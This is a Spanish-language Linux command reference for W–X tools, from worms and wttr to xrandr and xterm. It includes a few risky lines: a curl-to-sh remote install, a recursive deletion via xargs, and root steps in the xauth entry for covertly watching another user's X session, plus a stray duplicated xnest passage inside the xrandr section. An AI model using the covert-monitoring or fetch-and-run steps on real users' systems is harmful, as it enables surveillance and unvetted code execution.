$ wormhole receive
Enter receive wormhole code: 7-crossover-clockwork
Receiving file (7924 bytes) into: README.md
ok? (y/n): y
Receiving (->tcp:10.0.1.43:58986)..
100%|=====| 7.92K/7.92K [00:00<00:00, 120KB/s]
Received file written to README.md
```

## worms

Muestra gusanos en la terminal.

```
$ worms -d 200 -n 4 -l 4 (lento [-d] por defecto 0. 200 máximo, mostrando 4 gusanos [-n] Por defecto 3 y con longitud de 4 caracteres [-l]. Por defecto 16.
```

## wput

Subir ficheros a un servidor ftp.

```
$ wput file ftp://USER:PASS@192.168.1.10/home/usuario/dir/
```

```
$ wput *.txt ftp://USER:PASS@host.com/home/usuario/  
Subir todos los .txt del directorio local al host remoto
```

## write

Enviar mensajes a la terminal de usuarios conectados remotamente a nuestra máquina.

```
$ write usuario /dev/pts/15
```

```
Iniciar el prompt para la comunicación con el usuario de la terminal número 15. Este a su vez, para responder, debe lanzar write hacia la consola del otro usuario
```

## wspanish

El paquete contiene una lista alfabética de algunas palabras en español. No pretender ser una lista de palabras completa y muchas palabras No están completamente expandidas. Se almacena en el directorio /usr/share/dict/

## wttr

Servicio de predicción meteorológica y fuentes de datos para la información del pronóstico del tiempo. Admite varios métodos de presentación (curl, httpie, wget, HTML para navegadores, png...)

```
$ curl wttr.in/Figueras,Gerona  
especificando ciudad y provincia
```

```
$ curl -H 'Accept-Language: es' -s wttr.in/figueras,girona | sed -n '1,7p'  
solo lo básico de una ciudad y en español
```

```
$ curl -H 'Accept-Language: es' -s wttr.in/sant+joan+de+les+abadesses,girona  
para una ciudad con varias palabras
```

```
$ curl wttr.in/Moon?lang=es  
ver estado de la luna y en español
```

```
$ curl wttr.in/~Eiffel+Tower  
especificar algo que no es una población
```

```
$ curl wttr.in/@lapipaplana.org  
la situación de un dominio
```

```
$ wget wttr.in/Figueras,Gerona.png  
bajar una imagen de la población seleccionada
```

## wuzz

Herramienta interactiva para generar y enviar solicitudes HTTP, así como para ver las respuestas. En lugar de tener que especificar los encabezados HTTP, parámetros, cuerpo, etc. en la línea de comandos, se puede usar un CUI (interfaz de usuario de consola) simple e intuitivo.

```
$ wuzz  
entrar en el prompt
```

Movimiento por la pantalla:

```
* Ctrl+R - Enviar solicitud.
* Ret - Enviar la solicitud desde la URL de la ventana solamente.
* Ctrl+C - Salir.
* Ctrl+K , Mayús+Tab - Vista anterior.
* Ctrl+J , Tab - Siguiente vista.
* Ctrl+H , Alt+H Cambiar el historial.
* flecha abajo - Bajar una línea de la vista.
* flecha arriba - Moverse hacia arriba en una línea de la vista.
* Bajar página - Bajar una página de la vista.
* Avanzar página - Mueve hacia arriba una página de la vista.
```

## wuzzah

Programa que escanea selectivamente los registros utmpx de un sistema [donde se almacenan los inicios de sesión, entre otras cosas], vigilando a los que inician y cierran sesión y, realizando acciones personalizables en eventos.

```
$ wuzzah
```

## wyrd

Aplicación de planificación personal para cálculos de fechas, fases lunares, amanecer/atardecer, calendario hebreo, alarmas, mensajes multilingües y manejo de vacaciones.

```
$ wyrd
```

---

# X

---

## x11vnc

Conexion remota. Comparte la misma ventana abierta. En el cliente: xvncviewer o xtightvnc

En el servidor:

```
$ x11vnc -storepasswd
Preguntará contraseña y donde guardarla; por defecto en /home/USER/.vnc/passwd
```

```
$ vncpasswd
otra forma de entrar la contraseña
```

```
$ x11vnc -create
Abrir nueva sesión
```

```
$ x11vnc -rfbauth /home/USER/.vnc/passwd
Arrancar el server
```

```
$ x11vnc -usepw -display :0
lo mismo especificando la sesión X a visualizar
```

En el cliente:

```
# xvncviewer IP_servidor
```

```
$ killall x11vnc
Matar el servidor
```

Otra forma de arrancar el server y que se ejecute en segundo plano (-bg), contraseña de acceso (-passwd) e interfaz gráfico (-gui):

```
$ x11vnc -bg -gui -passwd la_que_sea
```

Se abrirá una pantalla de configuración, en la que podremos configurar las opciones del servidor. Algunas de la pestaña Permissions:

```
allow: Lista de IPs (separadas por comas) a las que se permite acceso.
forever: Que el servidor no cierre al desconectar el cliente
viewonly: No permitir cambios en el servidor.
1.-
```

Conexión inversa abriendo vnc desde ssh de forma remota:

```
$ vncviewer -listen
en el Pc al cual nos conectaremos
```

```
# x11vnc -connect IP_o_HOST:puerto -display :0 -auth guess
```

Desde terminal en las X:

```
$ vncviewer -listen
en el pc del que nos conectaremos
```

Entramos por ssh al remoto de la forma normal [ssh usuario@host] y una vez dentro, lanzamos:

## X

```
$ x11vnc -connect IP_o_HOST:puerto
```

Donde la IP\_o\_HOST es la máquina donde hemos lanzado el vncviewer -listen

2.-

Otra forma de conexión inversa:

Abrir vinagre y en remota/conexiones inversas, clicar las dos casillas (Habilitar conexiones inversas y siempre habilitado) y luego abrir terminal y lanzar:

```
$ ssh usuario@host_remoto
Realizar la conexión ssh normal
```

Y cuando se está en el host\_remoto:

```
$
DISPLAY=:0 x11vnc -connect host_actual:5500 &
```

Nota: los paréntesis son porque al ejecutar una sub-shell interprete todos los comandos como un único comando.

## xampp

Gestor de páginas web locales

Para instalar xampp es necesario desinstalar apache porque el paquete ya lo incluye.

Descargar la aplicación de: <http://www.apachefriends.org/en/xampp-linux.html>

```
# tar xvfz xampp-linux-1.6.5a.tar.gz -C /opt
# /opt/lampp/lampp start
Arrancar todas las aplicaciones xampp
```

Comprobar en el navegador la correcta instalación (<http://localhost>) y mirar en el apartado seguridad los puntos vulnerables.

```
# /opt/lampp/lampp security
Para entrar las contraseñas
```

La proxima vez que se entre en localhost pedirá el usuario (por defecto lampp) y la contraseña introducida anteriormente.

```
# /opt/lampp/lampp phpstatus
para saber la versión php
```

```
# /opt/lampp/lampp php5
activar php 5 o php4
```

```
# /opt/lampp/lampp startssl
arrancar apache con soporte ssl. Para acceder: https://localhost
```

Otras opciones:

start / stop / restart arrancar / parar / reiniciar xampp

startapache /stopapache arrancar / parar apache

startmysql / stopmysql arrancar / parar la base de datos mysql

startftp /stopftp arrancar / parar ftp server (user: nobody, password: lampp)

Directorios:

/opt/lampp/htdocs : Directorio donde guardar las páginas que esten online.

/opt/lampp/etc/httpd.conf : configuración de apache.

## X

---

/opt/lampp/etc/my.cnf : configuración de mysql.

/opt/lampp/etc/php.ini : configuración de php.

/opt/lampp/etc/proftpd.conf : configuración de ftp.

/opt/lampp/etc/phpmyadmin/config.inc.php : configuración de  
phpmyadmin

1.-

Activar el protocolo SSL en XAMPP, por defecto deshabilitado.

Copiar los archivos libeay32.dll y ssleay32.dll de la carpeta xampp\php\ en la carpeta xampp\apache\bin\ , sobrescribiendo los existentes.

Editar el fichero php.ini que puede encontrarse en alguno de los siguientes directorios: xampp\apache\bin o xampp\php y descomentar la línea:

```
extension=php_openssl.dll
```

En caso de que no aparezca esa línea añadirla final del archivo

## xarclock

Reloj invertido [de izquierda a derecha]

```
$ xarclock -roman -chime -fg white -bg blue -hd red -hl yellow -update 1 -geometry 200x200
```

Con los números romanos [roman] en blanco [fg], que marque con un "clin" las medias horas y con dos las horas [chime], fondo azul [bg], manecillas en rojo [hd], borde de las manecillas amarillas [hl], marcando los segundos [update] y geometría 200x200

## xargs

lee y ejecuta los comandos de la entrada estándar cogiéndolos como parámetros. Si no se pasa ningún comando, por defecto se usa el comando echo. Algunos usos de este comando:

```
$ ls | xargs rm -fr
```

elimina todos los archivos del directorio. Se emplea cuando la cantidad de archivos a eliminar desborda el buffer si pretendemos eliminarlos con `rm -fr *`

```
$ ls | xargs -t -i mv {} {}.bak
```

Renombra todos los archivos del presente directorio añadiéndoles .bak

```
$ echo | xargs --show-limits
```

conocer el límite de argumentos que xargs admite

## xauth

Monitorización de sesiones X11 sin conocimiento del usuario apartir de los cookies que se guardan en el fichero .Xauthority del directorio del usuario que inició la sesión X (o en el indicado por la variable XAUTHORITY). Este fichero sólo tiene permiso de acceso para el usuario y para root. Para visualizar los cookies:

```
$ xauth list
```

Pasos para controlar la sesión:

1 Conectar como root al sistema que queremos controlar

2 Averiguar el display en el que está conectado el usuario y poner nuestra variable DISPLAY a ese valor (export DISPLAY=:0). Normalmente será el :0, si no ver en el directorio /tmp/.X11-unix los displays activos

## X

---

3 Poner la variable XAUTHORITY igual al nombre del fichero .Xauthority del usuario:

```
# export XAUTHORITY=/home/usuario/.Xauthority
```

4. Verificación. Con:

```
# xauth list
```

deberíamos ver las cookies del usuario.

## xbacklight

Ajustar el brillo de la pantalla

```
$ xbacklight -set 100  
la pone al máximo
```

## xbindkeys

Gestión de atajos de teclado. Archivo de configuración en .xbindkeysrc.

```
$ xbindkeys -d  
Muestra cuales
```

```
$ xbindkeys -k  
dará nombre de la tecla pulsada
```

```
$ xbindkeys -km  
Para consultar varias teclas
```

Modo de entrar un atajo:

```
"gnome-terminal"
```

```
Mod4 + t
```

Abrirá la terminal pulsando las teclas Win + t

## xboxdrv

Comando para arrancar el driver de los mandos (gamepad) para Xbox y Xbox360 (y compatibles). Requiere hacer blacklist del módulo xpad. Se puede hacer sin afectar al sistema haciendo lo siguiente:

```
# rmmod xpad
```

También se puede hacer permanente el cambio añadiendo el driver al final del fichero /etc/modprobe.d/blacklist.conf con la línea siguiente: blacklist xpad

```
# xboxdrv --silent  
arrancar en modo silencioso
```

```
# xboxdrv --device-by-id 1234:1234 --type xbox360  
Arranca el driver para un gamepad con un ID específico. Puedes ver la ID ejecutando lsusb
```

## xclip

Copia al portapapeles la salida de cualquier comando.

```
$ who | xclip
```

```
$ xclip -o
```

Lo pegará en la terminal [pst-tty] donde lo lancemos

```
$ xclip -i /etc/fstab
```

copiará el fstab

```
$ xclip -o -d :0 wicd
```

Para pegarlo en las tty

```
$ xclip -o fichero
```

Lo pega en fichero

```
$ who | xclip -sel clip
```

Lo pega en cualquier aplicación de las X

```
$ xclip archivo
```

Enviar el contenido de un archivo al portapapeles

## xclock

Reloj para las X.

```
$ xclock
```

analogico

```
$ xclock -d
```

digital

## xcwd

Herramienta que abre una terminal de la ventana enfocada. Cambia el directorio de trabajo para la conexión a la ruta solicitada. Si, por ejemplo, tenemos thunar con la dirección /var/www/html/tractatus, y abrimos una terminal y tecleamos:

```
$ urxvt -cd "$(xcwd)"
```

Se abrirá otra terminal con la ruta indicada por thunar.

## xdg

Establece o abre archivos y url con las aplicaciones establecidas por defecto. Estas se encuentran definidas en /usr/share/applications/defaults.list.

```
$ xdg-mime query default text/html
```

Mostrar la aplicación que por defecto abre un html

```
$ xdg-mime default vlc.desktop video/mpeg
```

establecer vlc por defecto

```
$ xdg-mime default pcmanfm.desktop application/x-directory
```

establece PcMan como gestor de ficheros

```
$ xdg-open http://www.tuxapuntes.com/
```

abre la url

```
$ xdg-open imagen.jpg
```

abre la imagen

```
$ cat /usr/share/applications/defaults.list
```

Listado del sistema

```
$ cat .local/share/applications/mimeapps.list
```

Listado del usuario



## xdotool

Herramienta que permite simular la entrada del teclado y la actividad del ratón, mover, redimensionar ventanas, etc.

```
$ xdotool -h
Listado de opciones
```

```
$ xdotool key alt+F2
Simula la pulsación de alt + F2 y arranca la aplicación asociada a la combinación
```

```
$ xdotool mousemove 0 0
Envía el puntero a la coordenada especificada, en este caso, extremo superior izquierdo
```

```
$ xdotool getmouselocation
Indica las coordenadas del puntero
```

```
$ xdotool click 1
Hace click donde esté el puntero
```

Ejemplo en un script [que abra una nueva pestaña, escriba ifconfig y pulse return]:

```
#!/bin/bash
xdotool key shift+ctrl+t;
xdotool type "ifconfig";
xdotool key Return;
```

## xdpyinfo

Muestra información de las DPI disponibles de la sesión de Xorg actual.

## xephyr

Contenedor para lanzar aplicaciones X en paralelo al servidor X en ejecución.

```
$ Xephyr :1 -screen 1024x768
Lanzar la aplicación
```

```
:1 (valor para la variable DISPLAY a la hora de querer mostrar la aplicación dentro de
Xephyr)
-screen (resolución que tendrá la nueva pantalla)
```

```
$ DISPLAY=:1 startxfce4
Arrancar una sesión xfce4 dentro de Xephyr
```

## xev

Conocer el código asociado a la tecla.

```
$ xev
una vez lanzada la aplicación, pulsar la tecla de la que se quiera conocer el código asociado
```

```
...
keycode 134 (keysym 0xffec, Super_R)
...
```

## xfburn

Grabador de cds i dvds.

```
$ xfburn -a
grabar cd de audio
```

```
$ xfburn -d
De datos
```

## xfce4

Escritorio ligero. Para la confección de los atajos de teclado, tener en cuenta lo que lanzan algunas de las aplicaciones:

```
$ xfce4-accessibility-settings
Configurar ratón y teclado
```

```
$ xfce4-appearance-settings
Estilo de ventana, iconos tipo de letra..
```

```
$ xfce4-appfinder
Buscar aplicaciones
```

```
$ xfce4-display-settings
resolución de pantalla
```

```
$ xfce4-keyboard-settings
Atajos de teclado, comportamiento...
```

```
$ xfce4-mouse-theme
opciones del puntero
```

```
$ xfce4-notes
Notas rápidas
```

```
$ xfce4-popup-applicationsmenu
Menu general
```

```
$ xfce4-screenshooter
Captura de pantalla
```

```
$ xfce4-session-logout
Menú salir, reiniciar...
```

```
$ xfce4-settings-manager
Parámetros de escritorio
```

```
$ xfce4-terminal
Terminal
```

1.-

Instalar applet de brillo de pantalla (backligh):

```
# apt-get install xfce4-power-manager-plugins
```

Despues agregar el applet al panel

2.-

Restaurar / Reparar escritorio XFCE

```
$ rm -Rv ~/.cache/sessions/
```

```
$ xfwm4
```

Si continua fallando lanzar:

```
$ xfwm4 --replace
```

## xfe

Gestor de archivos ligero. Puede mostrar hasta tres paneles, con o sin árbol de directorios. Tambien incluye papelerera de reciclaje, compresor/descompresor, editor de textos (Xfw), visualizador de textos (Xfv), visor de imágenes (Xfi) y gestor de paquetes (Xfp).

## xflock4

Activa el protector de pantalla. Solicitará contraseña para salir.

## **xfm**

Gestor de archivos minimalista.

## **xfonts-utils**

Conjunto de programas que son necesarios para la administración de fuentes.

bdf2pcf [convierte fuentes BDF en fuentes PCF], bdftruncate y ucs2any [herramientas para generar fuentes con varias codificaciones a partir de fuentes codificadas ISO 10646], fonttosfnt [para empaquetar fuentes de mapa de bits en un contenedor sfnt (TrueType)], mkfontdir [programa para generar archivos fonts.dir], mkfontscale [programa para generar archivos fonts.scale], update-fonts-alias, update-fonts-dir y update-fonts-scale

## **xfpt**

Crear un xml a partir de un texto plano.

```
$ xfpt -o archivo.txt
```

## **xfrun4**

Lanzador de aplicaciones propio de xfce.

## **xgamma**

Cambiar el brillo de la pantalla.

```
$ xgamma -gamma 2.0
```

```
$ xgamma -gamma 1.0
```

```
Vuelve a la situación anterior
```

```
$ xgamma -rgamma 2.0
```

```
aumentar rojos
```

```
$ xgamma -bgamma 2.2
```

```
aumentar azules
```

```
$ xgamma -ggamma 2.2
```

```
aumentar los verdes
```

## **xh**

Herramienta para enviar solicitudes HTTP. Descargar:

```
# curl -sL https://raw.githubusercontent.com/ducaale/xh/master/install.sh | sh
```

```
$ xh http://localhost/emacs
```

```
$ xh example.com
```

```
no es necesario colocar http://
```

```
$ xhs example.com
```

```
no es necesario colocar https://
```

```
$ xh -d url -o archivo
```

```
descargar y guardar en un archivo
```

## xhost

Se utiliza para agregar o eliminar usuarios o nombres de host a la lista permitida para hacer conexiones a al servidor X.

```
$ xhost
$ xhost +
permitir que cualquier usuario se conecte al servidor X

$ xhost + 32.125.3.12
Permiter el acceso al servidor X a una ip

$ xhost - 32.125.3.12
Anular el permiso
```

## xidle

Ejecuta un programa específico después de un cierto tiempo de inactividad o cuando el cursor del mouse se mueve a un borde de la pantalla durante un tiempo determinado.

```
$ xidle -delay 10 -sw -area 10 -program /usr/bin/lxlock -timeout 200
Ejecutar lxlock si no se detecta actividad en 200 segundos o si el puntero permanece en una area
de 10 pixels de la esquina de abajo a la izquierda durante más de 10 segundos
```

## xininfo

Utilidad para consultar el diseño y tamaño actual del monitor o monitores configurados.

```
$ xininfo -print
información del monitor
```

## xinit

Permite iniciar un servidor X. El script startx [ver] es un front-end para xinit. De forma predeterminada, xinit y startx inician un servidor X en la pantalla :0. Si no existe el archivo .xinitrc del usuario, xinit/startx lanza un servidor X en pantalla y después un emulador de terminal Xterm en ella. Cuando el Xterm finaliza, xinit/startx cierra el servidor X y, generalmente, inicia un script que a su vez ejecuta un número de programas dado y un gestor de ventanas.

## xinput

Muestra las id de los dispositivos de entrada.

```
$ xinput
```

## xjokes

Cuatro pequeños programas divertidos para modificar una pantalla X11: yasiti, blackhole, mori1 y mori2. En todos los casos la visualización se restaurará posteriormente.

```
$ blackhole
produce un efecto de alejamiento animado en una pantalla

$ mori1 -display :0
muestra una pantalla llena con caras de una niña guiñándote un ojo en la pantalla especificada

$ mori2
muestra la cara grande de una chica que te guiña un ojo

$ yasiti
muestra un pequeño objeto negro giratorio en el centro de la pantalla
```

Nota.- Por defecto se utiliza la visualización especificada por la variable de entorno DISPLAY [echo \$DISPLAY].

## xkcd-dl

Herramienta en python (Instalación: `sudo pip install xkcd-dl`) para descargar las historietas geeks de la página [xkcd.com](http://xkcd.com).

```
$ xkcd-dl --update-db
actualizar la base de datos
```

```
$ xkcd-dl --download=1605
Descargar una en concreto
```

```
$ xkcd-dl --download-all
Descargar la colección completa
```

## xkcdpass

Generador de contraseñas relacionadas con frases [en inglés].

```
$ xkcdpass -C alternating --count=5 -a 'shit' -d '&' --min=6 --max=8 --valid-chars='[a-z,A-Z]'
5 palabras alternando mayúsculas y minúsculas, que la primera letra de cada palabra deletreen "
shit", separadas con & y entre 6 y 8 letras
```

## xkeycaps

Muestra un teclado en X y pasando el puntero del ratón sobre las teclas muestra como se llaman y características.

```
$ xkeycaps -help
muestra todos los teclados soportados
```

```
$ xkeycaps -kbd PC105ES
abre el teclado en versión española directamente
```

## xkill

Matar aplicaciones rebeldes.

```
$ xkill
El cursor se convierte en una calavera y donde se clicla mata la aplicación
```

## xli

Visor de imágenes.

```
$ xli imagen.jpg
```

Teclas de control:

```
l (Rotar 1/4 a la izquierda)
r (Rotar 1/4 a la derecha)
. (Actualizar la imagen)
números del 5 al 2 (Aclarar la imagen)
números del 6 al 9 (Oscurecer la imagen)
< (Empequeñecer)
> (Agrandar)
q (salir)
```

## xlock

[xclockmore]. Activar el protector de pantalla. Solicitará contraseña para salir.

```
$ xlock -mode anemona
```

Existen muchas opciones de mode: atlantis, dragon, crystal...)

## xlsclients

Lista las aplicaciones que se están ejecutando en una sesión.

```
# xlsclients -display :0
Especificando sesión
```

```
# xlsclients -a
Lo mismo de la sesión actual
```

```
# xlsclients -l
Lista extendida
```

## xmem

Monitoriza el uso de ram y de swap.

```
$ xmem -update 1 -codecolor black -nolabel
Que actualice resultados cada segundo, mostragr en negro la memoria usada y sin mostrar el
hostname
```

Colores por defecto:

```
-codecolor red (Color de la memoria usada)
-cachecolor yellow (De la memoria caché)
-buffercolor blue (Memoria del buffer)
-freeecolor green (de la memoria libre)
-swapcolor red (de la memoria swap. Mismo color que la memoria usada)
```

## xmltoman

Script para convertir archivos .xml a páginas man en formato groff o html. Presenta los elementos habituales de la página de manual, como "description", "options", "see also", etc.

```
xmltoman archivo.xml > archivo.html
```

## xmllint

[libxml]. Hace más legible el lenguaje XML. También incluye la aplicacion ament\_xmllint que solo indica si el archivo está bien formado.

```
$ ament_xmllint archivo.xml
```

```
$ xmllint archivo.xml
```

```
$ xmllint --html archivo.xml
con salida como html
```

## xmlstarlet

Utilidad que permite manipular, filtrar, editar, buscar, validar y aplicar hojas de estilo al contenido XML. Desafortunadamente es extremadamente poco intuitivo y muchos usuarios luchan con los parámetros de línea de comando ofuscados y el lenguaje peculiar de scripting. Aquí mostraremos algunas formas en que puede usarse para simplificar algunas tareas básicas diarias.

```
$ xmlstarlet sel -t -v "count(//linux)" texto.xml (cuantas veces aparece la palabra "linux" en "
texto.xml")
```

```
$ xmlstarlet sel -t -m "//linux" -v "species" -o " " -v "@name" -n texto.xml
```

```
$ xmlstarlet sel --net -t -m "//linux" -o "Title: " -v "title" -n -o "Author: " -v "author" -n
http://URL
de un sitio web
```

```
$ xmlstarlet sel --net --html -t -m "//linux" -v "@src" -n http://URL
```

Algunas de las opciones:

```
sel (que planeamos extraer o filtrar datos)
-t (que los siguientes parámetros forman parte de la plantilla de salida)
-v (utiliza para generar el valor de una expresión xpath)
-m (que repita en todos los nodos que coincidan con la expresión xpath proporcionada [
linux])
-o (que genere una cadena de texto y se usa en este ejemplo para incluir un espacio entre
los dos valores asociados con cada "linux".)
-n (que incluya nueva línea. Si se omite todos los datos aparecerían en una línea de texto
.)
--net (que descargue el contenido XML desde una ubicación remota.)
--html (extraer datos de un sitio web.)
```

## xmodmap

Muestra la disposición del teclado

```
$ xmodmap -pke
listado
```

```
$ xmodmap -e 'keycode 66 = Shift_L'
acoplar una tecla a determinada asignación [que la tecla "Bloq Mayús" funcione como la "shift"
debajo de ella.]
```

Nota.- el keycode [código de la tecla] se averigua lanzando xev [ver]

## xnest

Herramienta que permite abrir un servidor X dentro de otro servidor X

```
$ Xnest :20 -ca &
Sesion número 20
```

Para mandar instancias al servidor xnest:

```
$ xterm -display :20
Abrirá xterm en el interior de la sesión 20
```

```
$ Xnest :20 -geometry 800x600 &
Especificando medidas de la ventana
```

## xpenguins

Pingüinos caminando por la parte superior de la ventana.

```
$ xpenguins -l
lista de temas
```

```
$ xpenguins -t Bill -n 10 -p -m 5
10 pingüinos con el tema Bill, ignorando las ventanas emergentes y un retraso de 5 fotogramas
entre ellos
```

## xphoon

Muestra las fases de la luna como fondo de pantalla. Para que se visualice ha de matarse el fondo de pantalla activo.

```
$ xphoon -demo
Muestra una demo rápida de todas las fases de la luna
```

```
$ xphoon -t 10 -i
Que actualice la imagen cada 10 minutos y muestre el identificador del proceso [PID]
```

## xpra

Permite ejecutar en un equipo una aplicación remota desde un servidor X, manteniendo la conexión aunque esta se hay interrumpido. Posibilita la comunicación remota con aplicaciones individuales sin que sea obligatorio cargar todo el escritorio remoto.

```
@client:~$ ssh usuario@servidor.com (Establecer conexión con el servidor)
@server:~$ xpra start :5 (Arrancar el Display 5)
@server:~$ DISPLAY=:5 midori & (Lanzar una aplicación [midori] en el display 5)
@server:~$ logout (Cerrar la conexión con el servidor)
Realizar una nueva conexión con el servidor esta vez con xpra y contra el display 5:
@client:~$ xpra attach ssh:usuario@servidor.com:5 (Después de entrar la contraseña, se
    abrirá la aplicación midori del servidor en el cliente)
@server:~$ xpra list (Lista las sesiones xpra abiertas)
@server:~$ xpra stop :5 (Cierra el display 5)
@server:~$ xpra attach :5 (Entra en el display 5)
```

## xprintidle

Utilidad que consulta al servidor X el tiempo de inactividad del usuario y lo imprime en la salida estándar en milisegundos.

```
$ xprintidle
```

## xprobe

Intenta identificar sistemas operativos remotos enviando una serie de tests y determinando su tipo en base a las respuestas recibidas.

```
# xprobe2 ip
```

varios ejemplos de uso en su pagina man

## xprop

Propiedades de una ventana. Si no se especifica ID de dicha ventana, el cursor se convierte en una cruz y mostrará la que se clique.

```
$ xprop -display :0 -spy | grep "WM_NAME(String)"
Sobre el navegador, mostrará las páginas visitadas
```

## xrandr

Cambiar la resolución de pantalla.

```
$ xrandr
muestra la resolución usada, la máxima, la mínima y todas las posibles. La marcada con un "*" es
la usada y la + es la optima
```



```
$ xrandr | grep \* | cut -d' ' -f4
otra forma de ver la resolución usada
```

```
$ xrandr -s 1280x1024
modificar la resolución
```

```
$ xrandr -r 76
modificar la tasa de refresco
```

```
$ xrandr --auto
configurar proyectores externos
```

```
$ xrandr -q | awk -F'current' -F',' 'NR==1 {gsub("( |current)","");print $2}'
solo muestra la resolución usada
```

```
$ xrandr -q | grep -w Screen
muestra la mínima, la usada y la máxima
```

Ejemplo práctico:

Conocer resoluciones y cual es la utilizada:

```
$ xrandr
```

crear/agregar nueva resolución:

```
$ cvt 1127 999 | grep Modeline | cut -d" " -f 2-
```

```
"1128x999_60.00" 93.00 1128 1200 1312 1496 999 1002 1012 1037 -hsync +vsync
```

cargar la nueva resolución:

```
$ xrandr --newmode "1128x999_60.00" 93.00 1128 1200 1312 1496 999 1002 1012 1037 -hsync +vsync
```

Comprobar que se ha agregado la nueva resolución:

```
$ xrandr
```

añadir el modo creado a la tarjeta conectada (VGA-0, LVDS1...)

```
$ xrandr --addmode VGA-0 1128x999_60.00
```

Para eliminar este modo: xnest

Herramienta que permite abrir un servidor X dentro de otro servidor X

```
$ xnest :20 -ca &
Sesion número 20
```

Para mandar instancias al servidor xnest:

```
$ xterm -display :20
Abrirá xterm en el interior de la sesión 20
```

```
$ xnest :20 -geometry 800x600 &
Especificando medidas de la ventana
```

```
$ xrandr --rmmode VGA-0 1128x999_60.00
```

Para predeterminar la nueva configuración:

```
$ xrandr --output VGA-0 --mode 1128x999_60.00
```

Si nos da un error out of range (fuera de rango) suele ser porque la tasa de refresco del monitor es diferente de la configurada por defecto. Para modificarla:

```
$ xrandr --output VGA-0 --mode 1128x999_60.00 --rate 60,3
```

Una vez comprobado que todo funciona para hacer permanentes los cambios:

```
# nano /etc/gdm/Init/Default
```

A continuación de las líneas:

```
PATH=/usr/bin:$PATH
OLD_IFS=$IFS
Añadir:
```

```
xrandr --newmode "1128x999_60.00" 93.00 1128 1200 1312 1496 999 1002 1012 1037 -hsync
+vsync
xrandr --addmode VGA-0 1128x999_60.00
xrandr --output VGA-0 --mode 1128x999_60.00 --rate 60,3
Reiniciar.
```

## xrdb

Permite administrar la base de datos de recursos X. La base de datos de recursos X, comúnmente conocida como Xresources, es utilizada por el sistema X Window para almacenar las preferencias del usuario y los ajustes de configuración para aplicaciones X, esto proporciona una manera de cambiar dinámicamente la apariencia o el comportamiento de las aplicaciones sin reiniciarlas. Xrdb no carga ningún archivo por sí solo, pero muchos entornos de escritorio usan xrdb para cargar archivos ~/.Xresources al inicio de la sesión para inicializar la base de datos de recursos, como un reemplazo generalizado de los archivos ~/.Xdefaults.

```
$ xrdb .Xresources
recargar la configuración de .Xresources
```

```
$ xrdb -query
Consulta la base de datos de recursos e imprime los valores establecidos
```

```
$ xrdb -load ~/.Xresources
recargar los nuevos valores si se ha modificado el archivo
```

## xrefresh

Refresca la imagen del servidor Xorg

## xrestop

Monitoriza los recursos X11 de los clientes conectados. Ayuda a encontrar problemas con el consumo de las aplicaciones que corren en las X. Se considera un derivado de top.

```
$ xrestop
```

## xrootconsole

Mostrar un archivo en la pantalla del escritorio.

```
$ xrootconsole archivo
```

```
$ xrootconsole -bg black -fg red
especificando color de fondo y letra
```

Otras opciones:

```
-geometry 70x20 (Por defecto 80x10+0+0)
-fn fuente (Especificando fuente)
```

## xscreensaver

[xscreensaver-screensaver-bsod]

Colección de salvapantallas. El paquete bsod añade salvapantallas sobre clásico errores en windows i mc

```
$ ls /usr/lib/xscreensaver/
Listar todas las opciones
```

```
$ /usr/lib/xscreensaver/distort
Lanzando la opción distort
```

```
$ /usr/lib/xscreensaver/bsod
```

## xsel

Permite manipular el portapapeles de las X desde la línea de comandos.

```
$ xsel -p | more
Mostrar todo lo copiado al portapapeles
```

```
$ xsel --clipboard > archivo.txt
Volcar el contenido del portapapeles
```

```
$ cat /etc/apt/sources.list | xsel -b
Copiar al portapapeles
```

```
$ xsel --clipboard
Pegar lo copiado
```

## xset

Aplicación para establecer parámetros del servidor X

```
# xset q
muestra información de la configuración actual
```

```
# xset dpms 200 300 600 (segundos para entrar en standby [200], en suspenso [300] y apagado [600])
```

```
# xset m 4
Para que el mouse se mueva más rápido. Valores de 1 a 5
```

```
# xset -dpms
quita el apagado de pantalla
```

```
# xset +dpms
lo activa nuevamente
```

```
# xset dpms force off
apaga el monitor. Se enciende moviendo el cursor
```

```
# xset s noblank
preferencias del salvapantallas
```

```
# xset s off
Quitar la activación del salvapantallas
```

```
# xset fp default
restaura el path de fuentes de X
```

```
# xset r rate 200 10
establece retardo de 200 milisegundos y velocidad de repetición de 10 por segundo
```

```
# xset r rate
devuelve a los parámetros por defecto
```

```
# xset -b off/on
Activa/desactiva los pitidos del altavoz interno
```

Esto último tiene el mismo efecto que:

```
# nano /etc/inputrc
```

y desclikar la línea

```
set bell-style none)
```

## xss-lock

Herramienta para escuchar eventos XScreenSaver para suspender, hibernar, bloquear o desbloquear sesión con las acciones apropiadas.

```
$ nano ~/.profile
```

Añadir la línea

```
xss-lock -- /usr/bin/xscreensaver-command -lock &
```

## xstarfish

Generador de imágenes aleatorias coloridas y en mosaico para fondo de escritorio usando funciones matemáticas. No usa imagen de origen.

```
$ xstarfish -d 300
que se actualice cada 5 minutos
```

```
$ xstarfish -g 400x400 -o walpaper.png
de 400x400 pixels, por defecto 256x256 y que se guarde con el nombre indicado
```

```
$ xstarfish -s full -o image.png
del tamaño predeterminado del monitor y nombre de salida
```

## xtables\_addons

[libtext-csv-xs-perl xtables-addons-common xtables-addons-dkms]. GeoIP para Iptables. Bloqueo de ataques por países o anónimos. El proceso de instalación es el siguiente:

Configuración:

```
# cd /usr/lib/xtables-addons/
# ./xt_geoip_dl (actualizar las bases de datos)
# mkdir -p /usr/share/xt_geoip/ (crear directorio de almacen)
# /usr/lib/xtables-addons/xt_geoip_build -D /usr/share/xt_geoip/ *.csv (configurar todos
    los países)
Una vez configurada la base de datos podemos crear normas para iptables, por ejemplo para denegar
el acceso de China y los proxis anónimos a los puertos 80 y 443:
```

```
# iptables -A INPUT -m geoip --src-cc CN -j DROP
# iptables -A INPUT -p tcp -m tcp -m multiport --dports 80,443 -m geoip --src-cc A1 -j
    DROP
CN se corresponde con el código de China de la base de datos geoip que contendrá los rangos de IP
que se denegarán (drop). En la segunda regla, añadiríamos el protocolo tcp, los puertos 80 (
http) y 443 (https) y el rango A1 (proxies anónimos).
```

Si la política por defecto es denegación de servicio a todos (DROP) y queremos permitir acceso para usuarios de España, la regla sería:

```
# iptables -A INPUT -p tcp -m tcp -m multiport --dports 80,443 -m geoip --src-cc ES -j
    ACCEPT
```

Nota.- Para comprobar las reglas introducidas:

```
# iptables -L -n --line-numbers
```

## xterm

Emulador de terminal

```
$ xterm -bg black -fg gray -bc -cr red -e ssh usuario@remoto.com
```

```
